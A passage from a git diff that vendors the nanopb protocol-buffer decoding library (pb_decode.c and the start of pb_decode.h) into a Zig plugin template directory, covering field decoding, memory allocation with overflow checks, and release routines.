(size_t)field->data_size); + + /* Set default values for the submessage fields. */ + if (field->submsg_desc->default_value != NULL || + field->submsg_desc->field_callback != NULL || + field->submsg_desc->submsg_info[0] != NULL) + { + pb_field_iter_t submsg_iter; + if (pb_field_iter_begin(&submsg_iter, field->submsg_desc, field->pData)) + { + if (!pb_message_set_to_defaults(&submsg_iter)) + PB_RETURN_ERROR(stream, "failed to set defaults"); + } + } + } + *(pb_size_t*)field->pSize = field->tag; + + return decode_basic_field(stream, wire_type, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +#ifdef PB_ENABLE_MALLOC +/* Allocate storage for the field and store the pointer at iter->pData. + * array_size is the number of entries to reserve in an array. + * Zero size is not allowed, use pb_free() for releasing. + */ +static bool checkreturn allocate_field(pb_istream_t *stream, void *pData, size_t data_size, size_t array_size) +{ + void *ptr = *(void**)pData; + + if (data_size == 0 || array_size == 0) + PB_RETURN_ERROR(stream, "invalid size"); + +#ifdef __AVR__ + /* Workaround for AVR libc bug 53284: http://savannah.nongnu.org/bugs/?53284 + * Realloc to size of 1 byte can cause corruption of the malloc structures. + */ + if (data_size == 1 && array_size == 1) + { + data_size = 2; + } +#endif + + /* Check for multiplication overflows. + * This code avoids the costly division if the sizes are small enough. + * Multiplication is safe as long as only half of bits are set + * in either multiplicand. + */ + { + const size_t check_limit = (size_t)1 << (sizeof(size_t) * 4); + if (data_size >= check_limit || array_size >= check_limit) + { + const size_t size_max = (size_t)-1; + if (size_max / array_size < data_size) + { + PB_RETURN_ERROR(stream, "size too large"); + } + } + } + + /* Allocate new or expand previous allocation */ + /* Note: on failure the old pointer will remain in the structure, + * the message must be freed by caller also on error return. */ + ptr = pb_realloc(ptr, array_size * data_size); + if (ptr == NULL) + PB_RETURN_ERROR(stream, "realloc failed"); + + *(void**)pData = ptr; + return true; +} + +/* Clear a newly allocated item in case it contains a pointer, or is a submessage. */ +static void initialize_pointer_field(void *pItem, pb_field_iter_t *field) +{ + if (PB_LTYPE(field->type) == PB_LTYPE_STRING || + PB_LTYPE(field->type) == PB_LTYPE_BYTES) + { + *(void**)pItem = NULL; + } + else if (PB_LTYPE_IS_SUBMSG(field->type)) + { + /* We memset to zero so that any callbacks are set to NULL. + * Default values will be set by pb_dec_submessage(). */ + memset(pItem, 0, field->data_size); + } +} +#endif + +static bool checkreturn decode_pointer_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ +#ifndef PB_ENABLE_MALLOC + PB_UNUSED(wire_type); + PB_UNUSED(field); + PB_RETURN_ERROR(stream, "no malloc support"); +#else + switch (PB_HTYPE(field->type)) + { + case PB_HTYPE_REQUIRED: + case PB_HTYPE_OPTIONAL: + case PB_HTYPE_ONEOF: + if (PB_LTYPE_IS_SUBMSG(field->type) && *(void**)field->pField != NULL) + { + /* Duplicate field, have to release the old allocation first. */ + /* FIXME: Does this work correctly for oneofs? */ + pb_release_single_field(field); + } + + if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF) + { + *(pb_size_t*)field->pSize = field->tag; + } + + if (PB_LTYPE(field->type) == PB_LTYPE_STRING || + PB_LTYPE(field->type) == PB_LTYPE_BYTES) + { + /* pb_dec_string and pb_dec_bytes handle allocation themselves */ + field->pData = field->pField; + return decode_basic_field(stream, wire_type, field); + } + else + { + if (!allocate_field(stream, field->pField, field->data_size, 1)) + return false; + + field->pData = *(void**)field->pField; + initialize_pointer_field(field->pData, field); + return decode_basic_field(stream, wire_type, field); + } + + case PB_HTYPE_REPEATED: + if (wire_type == PB_WT_STRING + && PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE) + { + /* Packed array, multiple items come in at once. */ + bool status = true; + pb_size_t *size = (pb_size_t*)field->pSize; + size_t allocated_size = *size; + pb_istream_t substream; + + if (!pb_make_string_substream(stream, &substream)) + return false; + + while (substream.bytes_left) + { + if (*size == PB_SIZE_MAX) + { +#ifndef PB_NO_ERRMSG + stream->errmsg = "too many array entries"; +#endif + status = false; + break; + } + + if ((size_t)*size + 1 > allocated_size) + { + /* Allocate more storage. This tries to guess the + * number of remaining entries. Round the division + * upwards. */ + size_t remain = (substream.bytes_left - 1) / field->data_size + 1; + if (remain < PB_SIZE_MAX - allocated_size) + allocated_size += remain; + else + allocated_size += 1; + + if (!allocate_field(&substream, field->pField, field->data_size, allocated_size)) + { + status = false; + break; + } + } + + /* Decode the array entry */ + field->pData = *(char**)field->pField + field->data_size * (*size); + if (field->pData == NULL) + { + /* Shouldn't happen, but satisfies static analyzers */ + status = false; + break; + } + initialize_pointer_field(field->pData, field); + if (!decode_basic_field(&substream, PB_WT_PACKED, field)) + { + status = false; + break; + } + + (*size)++; + } + if (!pb_close_string_substream(stream, &substream)) + return false; + + return status; + } + else + { + /* Normal repeated field, i.e. only one item at a time. */ + pb_size_t *size = (pb_size_t*)field->pSize; + + if (*size == PB_SIZE_MAX) + PB_RETURN_ERROR(stream, "too many array entries"); + + if (!allocate_field(stream, field->pField, field->data_size, (size_t)(*size + 1))) + return false; + + field->pData = *(char**)field->pField + field->data_size * (*size); + (*size)++; + initialize_pointer_field(field->pData, field); + return decode_basic_field(stream, wire_type, field); + } + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +#endif +} + +static bool checkreturn decode_callback_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ + if (!field->descriptor->field_callback) + return pb_skip_field(stream, wire_type); + + if (wire_type == PB_WT_STRING) + { + pb_istream_t substream; + size_t prev_bytes_left; + + if (!pb_make_string_substream(stream, &substream)) + return false; + + do + { + prev_bytes_left = substream.bytes_left; + if (!field->descriptor->field_callback(&substream, NULL, field)) + { + PB_SET_ERROR(stream, substream.errmsg ? substream.errmsg : "callback failed"); + return false; + } + } while (substream.bytes_left > 0 && substream.bytes_left < prev_bytes_left); + + if (!pb_close_string_substream(stream, &substream)) + return false; + + return true; + } + else + { + /* Copy the single scalar value to stack. + * This is required so that we can limit the stream length, + * which in turn allows to use same callback for packed and + * not-packed fields. */ + pb_istream_t substream; + pb_byte_t buffer[10]; + size_t size = sizeof(buffer); + + if (!read_raw_value(stream, wire_type, buffer, &size)) + return false; + substream = pb_istream_from_buffer(buffer, size); + + return field->descriptor->field_callback(&substream, NULL, field); + } +} + +static bool checkreturn decode_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ +#ifdef PB_ENABLE_MALLOC + /* When decoding an oneof field, check if there is old data that must be + * released first. */ + if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF) + { + if (!pb_release_union_field(stream, field)) + return false; + } +#endif + + switch (PB_ATYPE(field->type)) + { + case PB_ATYPE_STATIC: + return decode_static_field(stream, wire_type, field); + + case PB_ATYPE_POINTER: + return decode_pointer_field(stream, wire_type, field); + + case PB_ATYPE_CALLBACK: + return decode_callback_field(stream, wire_type, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +/* Default handler for extension fields. Expects to have a pb_msgdesc_t + * pointer in the extension->type->arg field, pointing to a message with + * only one field in it. */ +static bool checkreturn default_extension_decoder(pb_istream_t *stream, + pb_extension_t *extension, uint32_t tag, pb_wire_type_t wire_type) +{ + pb_field_iter_t iter; + + if (!pb_field_iter_begin_extension(&iter, extension)) + PB_RETURN_ERROR(stream, "invalid extension"); + + if (iter.tag != tag || !iter.message) + return true; + + extension->found = true; + return decode_field(stream, wire_type, &iter); +} + +/* Try to decode an unknown field as an extension field. Tries each extension + * decoder in turn, until one of them handles the field or loop ends. */ +static bool checkreturn decode_extension(pb_istream_t *stream, + uint32_t tag, pb_wire_type_t wire_type, pb_extension_t *extension) +{ + size_t pos = stream->bytes_left; + + while (extension != NULL && pos == stream->bytes_left) + { + bool status; + if (extension->type->decode) + status = extension->type->decode(stream, extension, tag, wire_type); + else + status = default_extension_decoder(stream, extension, tag, wire_type); + + if (!status) + return false; + + extension = extension->next; + } + + return true; +} + +/* Initialize message fields to default values, recursively */ +static bool pb_field_set_to_default(pb_field_iter_t *field) +{ + pb_type_t type; + type = field->type; + + if (PB_LTYPE(type) == PB_LTYPE_EXTENSION) + { + pb_extension_t *ext = *(pb_extension_t* const *)field->pData; + while (ext != NULL) + { + pb_field_iter_t ext_iter; + if (pb_field_iter_begin_extension(&ext_iter, ext)) + { + ext->found = false; + if (!pb_message_set_to_defaults(&ext_iter)) + return false; + } + ext = ext->next; + } + } + else if (PB_ATYPE(type) == PB_ATYPE_STATIC) + { + bool init_data = true; + if (PB_HTYPE(type) == PB_HTYPE_OPTIONAL && field->pSize != NULL) + { + /* Set has_field to false. Still initialize the optional field + * itself also. */ + *(bool*)field->pSize = false; + } + else if (PB_HTYPE(type) == PB_HTYPE_REPEATED || + PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + /* REPEATED: Set array count to 0, no need to initialize contents. + ONEOF: Set which_field to 0. */ + *(pb_size_t*)field->pSize = 0; + init_data = false; + } + + if (init_data) + { + if (PB_LTYPE_IS_SUBMSG(field->type) && + (field->submsg_desc->default_value != NULL || + field->submsg_desc->field_callback != NULL || + field->submsg_desc->submsg_info[0] != NULL)) + { + /* Initialize submessage to defaults. + * Only needed if it has default values + * or callback/submessage fields. */ + pb_field_iter_t submsg_iter; + if (pb_field_iter_begin(&submsg_iter, field->submsg_desc, field->pData)) + { + if (!pb_message_set_to_defaults(&submsg_iter)) + return false; + } + } + else + { + /* Initialize to zeros */ + memset(field->pData, 0, (size_t)field->data_size); + } + } + } + else if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + /* Initialize the pointer to NULL. */ + *(void**)field->pField = NULL; + + /* Initialize array count to 0. */ + if (PB_HTYPE(type) == PB_HTYPE_REPEATED || + PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + *(pb_size_t*)field->pSize = 0; + } + } + else if (PB_ATYPE(type) == PB_ATYPE_CALLBACK) + { + /* Don't overwrite callback */ + } + + return true; +} + +static bool pb_message_set_to_defaults(pb_field_iter_t *iter) +{ + pb_istream_t defstream = PB_ISTREAM_EMPTY; + uint32_t tag = 0; + pb_wire_type_t wire_type = PB_WT_VARINT; + bool eof; + + if (iter->descriptor->default_value) + { + defstream = pb_istream_from_buffer(iter->descriptor->default_value, (size_t)-1); + if (!pb_decode_tag(&defstream, &wire_type, &tag, &eof)) + return false; + } + + do + { + if (!pb_field_set_to_default(iter)) + return false; + + if (tag != 0 && iter->tag == tag) + { + /* We have a default value for this field in the defstream */ + if (!decode_field(&defstream, wire_type, iter)) + return false; + if (!pb_decode_tag(&defstream, &wire_type, &tag, &eof)) + return false; + + if (iter->pSize) + *(bool*)iter->pSize = false; + } + } while (pb_field_iter_next(iter)); + + return true; +} + +/********************* + * Decode all fields * + *********************/ + +static bool checkreturn pb_decode_inner(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags) +{ + uint32_t extension_range_start = 0; + pb_extension_t *extensions = NULL; + + /* 'fixed_count_field' and 'fixed_count_size' track position of a repeated fixed + * count field. This can only handle _one_ repeated fixed count field that + * is unpacked and unordered among other (non repeated fixed count) fields. + */ + pb_size_t fixed_count_field = PB_SIZE_MAX; + pb_size_t fixed_count_size = 0; + pb_size_t fixed_count_total_size = 0; + + pb_fields_seen_t fields_seen = {{0, 0}}; + const uint32_t allbits = ~(uint32_t)0; + pb_field_iter_t iter; + + if (pb_field_iter_begin(&iter, fields, dest_struct)) + { + if ((flags & PB_DECODE_NOINIT) == 0) + { + if (!pb_message_set_to_defaults(&iter)) + PB_RETURN_ERROR(stream, "failed to set defaults"); + } + } + + while (stream->bytes_left) + { + uint32_t tag; + pb_wire_type_t wire_type; + bool eof; + + if (!pb_decode_tag(stream, &wire_type, &tag, &eof)) + { + if (eof) + break; + else + return false; + } + + if (tag == 0) + { + if (flags & PB_DECODE_NULLTERMINATED) + { + break; + } + else + { + PB_RETURN_ERROR(stream, "zero tag"); + } + } + + if (!pb_field_iter_find(&iter, tag) || PB_LTYPE(iter.type) == PB_LTYPE_EXTENSION) + { + /* No match found, check if it matches an extension. */ + if (extension_range_start == 0) + { + if (pb_field_iter_find_extension(&iter)) + { + extensions = *(pb_extension_t* const *)iter.pData; + extension_range_start = iter.tag; + } + + if (!extensions) + { + extension_range_start = (uint32_t)-1; + } + } + + if (tag >= extension_range_start) + { + size_t pos = stream->bytes_left; + + if (!decode_extension(stream, tag, wire_type, extensions)) + return false; + + if (pos != stream->bytes_left) + { + /* The field was handled */ + continue; + } + } + + /* No match found, skip data */ + if (!pb_skip_field(stream, wire_type)) + return false; + continue; + } + + /* If a repeated fixed count field was found, get size from + * 'fixed_count_field' as there is no counter contained in the struct. + */ + if (PB_HTYPE(iter.type) == PB_HTYPE_REPEATED && iter.pSize == &iter.array_size) + { + if (fixed_count_field != iter.index) { + /* If the new fixed count field does not match the previous one, + * check that the previous one is NULL or that it finished + * receiving all the expected data. + */ + if (fixed_count_field != PB_SIZE_MAX && + fixed_count_size != fixed_count_total_size) + { + PB_RETURN_ERROR(stream, "wrong size for fixed count field"); + } + + fixed_count_field = iter.index; + fixed_count_size = 0; + fixed_count_total_size = iter.array_size; + } + + iter.pSize = &fixed_count_size; + } + + if (PB_HTYPE(iter.type) == PB_HTYPE_REQUIRED + && iter.required_field_index < PB_MAX_REQUIRED_FIELDS) + { + uint32_t tmp = ((uint32_t)1 << (iter.required_field_index & 31)); + fields_seen.bitfield[iter.required_field_index >> 5] |= tmp; + } + + if (!decode_field(stream, wire_type, &iter)) + return false; + } + + /* Check that all elements of the last decoded fixed count field were present. */ + if (fixed_count_field != PB_SIZE_MAX && + fixed_count_size != fixed_count_total_size) + { + PB_RETURN_ERROR(stream, "wrong size for fixed count field"); + } + + /* Check that all required fields were present. */ + { + pb_size_t req_field_count = iter.descriptor->required_field_count; + + if (req_field_count > 0) + { + pb_size_t i; + + if (req_field_count > PB_MAX_REQUIRED_FIELDS) + req_field_count = PB_MAX_REQUIRED_FIELDS; + + /* Check the whole words */ + for (i = 0; i < (req_field_count >> 5); i++) + { + if (fields_seen.bitfield[i] != allbits) + PB_RETURN_ERROR(stream, "missing required field"); + } + + /* Check the remaining bits (if any) */ + if ((req_field_count & 31) != 0) + { + if (fields_seen.bitfield[req_field_count >> 5] != + (allbits >> (uint_least8_t)(32 - (req_field_count & 31)))) + { + PB_RETURN_ERROR(stream, "missing required field"); + } + } + } + } + + return true; +} + +bool checkreturn pb_decode_ex(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags) +{ + bool status; + + if ((flags & PB_DECODE_DELIMITED) == 0) + { + status = pb_decode_inner(stream, fields, dest_struct, flags); + } + else + { + pb_istream_t substream; + if (!pb_make_string_substream(stream, &substream)) + return false; + + status = pb_decode_inner(&substream, fields, dest_struct, flags); + + if (!pb_close_string_substream(stream, &substream)) + status = false; + } + +#ifdef PB_ENABLE_MALLOC + if (!status) + pb_release(fields, dest_struct); +#endif + + return status; +} + +bool checkreturn pb_decode(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct) +{ + bool status; + + status = pb_decode_inner(stream, fields, dest_struct, 0); + +#ifdef PB_ENABLE_MALLOC + if (!status) + pb_release(fields, dest_struct); +#endif + + return status; +} + +#ifdef PB_ENABLE_MALLOC +/* Given an oneof field, if there has already been a field inside this oneof, + * release it before overwriting with a different one. */ +static bool pb_release_union_field(pb_istream_t *stream, pb_field_iter_t *field) +{ + pb_field_iter_t old_field = *field; + pb_size_t old_tag = *(pb_size_t*)field->pSize; /* Previous which_ value */ + pb_size_t new_tag = field->tag; /* New which_ value */ + + if (old_tag == 0) + return true; /* Ok, no old data in union */ + + if (old_tag == new_tag) + return true; /* Ok, old data is of same type => merge */ + + /* Release old data. The find can fail if the message struct contains + * invalid data. */ + if (!pb_field_iter_find(&old_field, old_tag)) + PB_RETURN_ERROR(stream, "invalid union tag"); + + pb_release_single_field(&old_field); + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { + /* Initialize the pointer to NULL to make sure it is valid + * even in case of error return. */ + *(void**)field->pField = NULL; + field->pData = NULL; + } + + return true; +} + +static void pb_release_single_field(pb_field_iter_t *field) +{ + pb_type_t type; + type = field->type; + + if (PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + if (*(pb_size_t*)field->pSize != field->tag) + return; /* This is not the current field in the union */ + } + + /* Release anything contained inside an extension or submsg. + * This has to be done even if the submsg itself is statically + * allocated. */ + if (PB_LTYPE(type) == PB_LTYPE_EXTENSION) + { + /* Release fields from all extensions in the linked list */ + pb_extension_t *ext = *(pb_extension_t**)field->pData; + while (ext != NULL) + { + pb_field_iter_t ext_iter; + if (pb_field_iter_begin_extension(&ext_iter, ext)) + { + pb_release_single_field(&ext_iter); + } + ext = ext->next; + } + } + else if (PB_LTYPE_IS_SUBMSG(type) && PB_ATYPE(type) != PB_ATYPE_CALLBACK) + { + /* Release fields in submessage or submsg array */ + pb_size_t count = 1; + + if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + field->pData = *(void**)field->pField; + } + else + { + field->pData = field->pField; + } + + if (PB_HTYPE(type) == PB_HTYPE_REPEATED) + { + count = *(pb_size_t*)field->pSize; + + if (PB_ATYPE(type) == PB_ATYPE_STATIC && count > field->array_size) + { + /* Protect against corrupted _count fields */ + count = field->array_size; + } + } + + if (field->pData) + { + for (; count > 0; count--) + { + pb_release(field->submsg_desc, field->pData); + field->pData = (char*)field->pData + field->data_size; + } + } + } + + if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + if (PB_HTYPE(type) == PB_HTYPE_REPEATED && + (PB_LTYPE(type) == PB_LTYPE_STRING || + PB_LTYPE(type) == PB_LTYPE_BYTES)) + { + /* Release entries in repeated string or bytes array */ + void **pItem = *(void***)field->pField; + pb_size_t count = *(pb_size_t*)field->pSize; + for (; count > 0; count--) + { + pb_free(*pItem); + *pItem++ = NULL; + } + } + + if (PB_HTYPE(type) == PB_HTYPE_REPEATED) + { + /* We are going to release the array, so set the size to 0 */ + *(pb_size_t*)field->pSize = 0; + } + + /* Release main pointer */ + pb_free(*(void**)field->pField); + *(void**)field->pField = NULL; + } +} + +void pb_release(const pb_msgdesc_t *fields, void *dest_struct) +{ + pb_field_iter_t iter; + + if (!dest_struct) + return; /* Ignore NULL pointers, similar to free() */ + + if (!pb_field_iter_begin(&iter, fields, dest_struct)) + return; /* Empty message type */ + + do + { + pb_release_single_field(&iter); + } while (pb_field_iter_next(&iter)); +} +#else +void pb_release(const pb_msgdesc_t *fields, void *dest_struct) +{ + /* Nothing to release without PB_ENABLE_MALLOC. */ + PB_UNUSED(fields); + PB_UNUSED(dest_struct); +} +#endif + +/* Field decoders */ + +bool pb_decode_bool(pb_istream_t *stream, bool *dest) +{ + uint32_t value; + if (!pb_decode_varint32(stream, &value)) + return false; + + *(bool*)dest = (value != 0); + return true; +} + +bool pb_decode_svarint(pb_istream_t *stream, pb_int64_t *dest) +{ + pb_uint64_t value; + if (!pb_decode_varint(stream, &value)) + return false; + + if (value & 1) + *dest = (pb_int64_t)(~(value >> 1)); + else + *dest = (pb_int64_t)(value >> 1); + + return true; +} + +bool pb_decode_fixed32(pb_istream_t *stream, void *dest) +{ + union { + uint32_t fixed32; + pb_byte_t bytes[4]; + } u; + + if (!pb_read(stream, u.bytes, 4)) + return false; + +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* fast path - if we know that we're on little endian, assign directly */ + *(uint32_t*)dest = u.fixed32; +#else + *(uint32_t*)dest = ((uint32_t)u.bytes[0] << 0) | + ((uint32_t)u.bytes[1] << 8) | + ((uint32_t)u.bytes[2] << 16) | + ((uint32_t)u.bytes[3] << 24); +#endif + return true; +} + +#ifndef PB_WITHOUT_64BIT +bool pb_decode_fixed64(pb_istream_t *stream, void *dest) +{ + union { + uint64_t fixed64; + pb_byte_t bytes[8]; + } u; + + if (!pb_read(stream, u.bytes, 8)) + return false; + +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* fast path - if we know that we're on little endian, assign directly */ + *(uint64_t*)dest = u.fixed64; +#else + *(uint64_t*)dest = ((uint64_t)u.bytes[0] << 0) | + ((uint64_t)u.bytes[1] << 8) | + ((uint64_t)u.bytes[2] << 16) | + ((uint64_t)u.bytes[3] << 24) | + ((uint64_t)u.bytes[4] << 32) | + ((uint64_t)u.bytes[5] << 40) | + ((uint64_t)u.bytes[6] << 48) | + ((uint64_t)u.bytes[7] << 56); +#endif + return true; +} +#endif + +static bool checkreturn pb_dec_bool(pb_istream_t *stream, const pb_field_iter_t *field) +{ + return pb_decode_bool(stream, (bool*)field->pData); +} + +static bool checkreturn pb_dec_varint(pb_istream_t *stream, const pb_field_iter_t *field) +{ + if (PB_LTYPE(field->type) == PB_LTYPE_UVARINT) + { + pb_uint64_t value, clamped; + if (!pb_decode_varint(stream, &value)) + return false; + + /* Cast to the proper field size, while checking for overflows */ + if (field->data_size == sizeof(pb_uint64_t)) + clamped = *(pb_uint64_t*)field->pData = value; + else if (field->data_size == sizeof(uint32_t)) + clamped = *(uint32_t*)field->pData = (uint32_t)value; + else if (field->data_size == sizeof(uint_least16_t)) + clamped = *(uint_least16_t*)field->pData = (uint_least16_t)value; + else if (field->data_size == sizeof(uint_least8_t)) + clamped = *(uint_least8_t*)field->pData = (uint_least8_t)value; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + if (clamped != value) + PB_RETURN_ERROR(stream, "integer too large"); + + return true; + } + else + { + pb_uint64_t value; + pb_int64_t svalue; + pb_int64_t clamped; + + if (PB_LTYPE(field->type) == PB_LTYPE_SVARINT) + { + if (!pb_decode_svarint(stream, &svalue)) + return false; + } + else + { + if (!pb_decode_varint(stream, &value)) + return false; + + /* See issue 97: Google's C++ protobuf allows negative varint values to + * be cast as int32_t, instead of the int64_t that should be used when + * encoding. Nanopb versions before 0.2.5 had a bug in encoding. In order to + * not break decoding of such messages, we cast <=32 bit fields to + * int32_t first to get the sign correct. + */ + if (field->data_size == sizeof(pb_int64_t)) + svalue = (pb_int64_t)value; + else + svalue = (int32_t)value; + } + + /* Cast to the proper field size, while checking for overflows */ + if (field->data_size == sizeof(pb_int64_t)) + clamped = *(pb_int64_t*)field->pData = svalue; + else if (field->data_size == sizeof(int32_t)) + clamped = *(int32_t*)field->pData = (int32_t)svalue; + else if (field->data_size == sizeof(int_least16_t)) + clamped = *(int_least16_t*)field->pData = (int_least16_t)svalue; + else if (field->data_size == sizeof(int_least8_t)) + clamped = *(int_least8_t*)field->pData = (int_least8_t)svalue; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + if (clamped != svalue) + PB_RETURN_ERROR(stream, "integer too large"); + + return true; + } +} + +static bool checkreturn pb_dec_bytes(pb_istream_t *stream, const pb_field_iter_t *field) +{ + uint32_t size; + size_t alloc_size; + pb_bytes_array_t *dest; + + if (!pb_decode_varint32(stream, &size)) + return false; + + if (size > PB_SIZE_MAX) + PB_RETURN_ERROR(stream, "bytes overflow"); + + alloc_size = PB_BYTES_ARRAY_T_ALLOCSIZE(size); + if (size > alloc_size) + PB_RETURN_ERROR(stream, "size too large"); + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { +#ifndef PB_ENABLE_MALLOC + PB_RETURN_ERROR(stream, "no malloc support"); +#else + if (stream->bytes_left < size) + PB_RETURN_ERROR(stream, "end-of-stream"); + + if (!allocate_field(stream, field->pData, alloc_size, 1)) + return false; + dest = *(pb_bytes_array_t**)field->pData; +#endif + } + else + { + if (alloc_size > field->data_size) + PB_RETURN_ERROR(stream, "bytes overflow"); + dest = (pb_bytes_array_t*)field->pData; + } + + dest->size = (pb_size_t)size; + return pb_read(stream, dest->bytes, (size_t)size); +} + +static bool checkreturn pb_dec_string(pb_istream_t *stream, const pb_field_iter_t *field) +{ + uint32_t size; + size_t alloc_size; + pb_byte_t *dest = (pb_byte_t*)field->pData; + + if (!pb_decode_varint32(stream, &size)) + return false; + + if (size == (uint32_t)-1) + PB_RETURN_ERROR(stream, "size too large"); + + /* Space for null terminator */ + alloc_size = (size_t)(size + 1); + + if (alloc_size < size) + PB_RETURN_ERROR(stream, "size too large"); + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { +#ifndef PB_ENABLE_MALLOC + PB_RETURN_ERROR(stream, "no malloc support"); +#else + if (stream->bytes_left < size) + PB_RETURN_ERROR(stream, "end-of-stream"); + + if (!allocate_field(stream, field->pData, alloc_size, 1)) + return false; + dest = *(pb_byte_t**)field->pData; +#endif + } + else + { + if (alloc_size > field->data_size) + PB_RETURN_ERROR(stream, "string overflow"); + } + + dest[size] = 0; + + if (!pb_read(stream, dest, (size_t)size)) + return false; + +#ifdef PB_VALIDATE_UTF8 + if (!pb_validate_utf8((const char*)dest)) + PB_RETURN_ERROR(stream, "invalid utf8"); +#endif + + return true; +} + +static bool checkreturn pb_dec_submessage(pb_istream_t *stream, const pb_field_iter_t *field) +{ + bool status = true; + bool submsg_consumed = false; + pb_istream_t substream; + + if (!pb_make_string_substream(stream, &substream)) + return false; + + if (field->submsg_desc == NULL) + PB_RETURN_ERROR(stream, "invalid field descriptor"); + + /* Submessages can have a separate message-level callback that is called + * before decoding the message. Typically it is used to set callback fields + * inside oneofs. */ + if (PB_LTYPE(field->type) == PB_LTYPE_SUBMSG_W_CB && field->pSize != NULL) + { + /* Message callback is stored right before pSize. */ + pb_callback_t *callback = (pb_callback_t*)field->pSize - 1; + if (callback->funcs.decode) + { + status = callback->funcs.decode(&substream, field, &callback->arg); + + if (substream.bytes_left == 0) + { + submsg_consumed = true; + } + } + } + + /* Now decode the submessage contents */ + if (status && !submsg_consumed) + { + unsigned int flags = 0; + + /* Static required/optional fields are already initialized by top-level + * pb_decode(), no need to initialize them again. */ + if (PB_ATYPE(field->type) == PB_ATYPE_STATIC && + PB_HTYPE(field->type) != PB_HTYPE_REPEATED) + { + flags = PB_DECODE_NOINIT; + } + + status = pb_decode_inner(&substream, field->submsg_desc, field->pData, flags); + } + + if (!pb_close_string_substream(stream, &substream)) + return false; + + return status; +} + +static bool checkreturn pb_dec_fixed_length_bytes(pb_istream_t *stream, const pb_field_iter_t *field) +{ + uint32_t size; + + if (!pb_decode_varint32(stream, &size)) + return false; + + if (size > PB_SIZE_MAX) + PB_RETURN_ERROR(stream, "bytes overflow"); + + if (size == 0) + { + /* As a special case, treat empty bytes string as all zeros for fixed_length_bytes. */ + memset(field->pData, 0, (size_t)field->data_size); + return true; + } + + if (size != field->data_size) + PB_RETURN_ERROR(stream, "incorrect fixed length bytes size"); + + return pb_read(stream, (pb_byte_t*)field->pData, (size_t)field->data_size); +} + +#ifdef PB_CONVERT_DOUBLE_FLOAT +bool pb_decode_double_as_float(pb_istream_t *stream, float *dest) +{ + uint_least8_t sign; + int exponent; + uint32_t mantissa; + uint64_t value; + union { float f; uint32_t i; } out; + + if (!pb_decode_fixed64(stream, &value)) + return false; + + /* Decompose input value */ + sign = (uint_least8_t)((value >> 63) & 1); + exponent = (int)((value >> 52) & 0x7FF) - 1023; + mantissa = (value >> 28) & 0xFFFFFF; /* Highest 24 bits */ + + /* Figure if value is in range representable by floats. */ + if (exponent == 1024) + { + /* Special value */ + exponent = 128; + mantissa >>= 1; + } + else + { + if (exponent > 127) + { + /* Too large, convert to infinity */ + exponent = 128; + mantissa = 0; + } + else if (exponent < -150) + { + /* Too small, convert to zero */ + exponent = -127; + mantissa = 0; + } + else if (exponent < -126) + { + /* Denormalized */ + mantissa |= 0x1000000; + mantissa >>= (-126 - exponent); + exponent = -127; + } + + /* Round off mantissa */ + mantissa = (mantissa + 1) >> 1; + + /* Check if mantissa went over 2.0 */ + if (mantissa & 0x800000) + { + exponent += 1; + mantissa &= 0x7FFFFF; + mantissa >>= 1; + } + } + + /* Combine fields */ + out.i = mantissa; + out.i |= (uint32_t)(exponent + 127) << 23; + out.i |= (uint32_t)sign << 31; + + *dest = out.f; + return true; +} +#endif diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_decode.h b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_decode.h new file mode 100644 index 0000000..3f392b2 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_decode.h @@ -0,0 +1,204 @@ +/* pb_decode.h: Functions to decode protocol buffers. Depends on pb_decode.c. + * The main function is pb_decode. You also need an input stream, and the + * field descriptions created by nanopb_generator.py. + */ + +#ifndef PB_DECODE_H_INCLUDED +#define PB_DECODE_H_INCLUDED + +#include "pb.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Structure for defining custom input streams. You will need to provide + * a callback function to read the bytes from your storage, which can be + * for example a file or a network socket. + * + * The callback must conform to these rules: + * + * 1) Return false on IO errors. This will cause decoding to abort. + * 2) You can use state to store your own data (e.g. buffer pointer), + * and rely on pb_read to verify that no-body reads past bytes_left. + * 3) Your callback may be used with substreams, in which case bytes_left + * is different than from the main stream. Don't use bytes_left to compute + * any pointers. + */ +struct pb_istream_s +{ +#ifdef PB_BUFFER_ONLY + /* Callback pointer is not used in buffer-only configuration. + * Having an int pointer here allows binary compatibility but + * gives an error if someone tries to assign callback function. + */ + int *callback; +#else + bool (*callback)(pb_istream_t *stream, pb_byte_t *buf, size_t count); +#endif + + /* state is a free field for use of the callback function defined above. + * Note that when pb_istream_from_buffer() is used, it reserves this field + * for its own use. + */ + void *state; + + /* Maximum number of bytes left in this stream. Callback can report + * EOF before this limit is reached. Setting a limit is recommended + * when decoding directly from file or network streams to avoid + * denial-of-service by excessively long messages. + */ + size_t bytes_left; + +#ifndef PB_NO_ERRMSG + /* Pointer to constant (ROM) string when decoding function returns error */ + const char *errmsg; 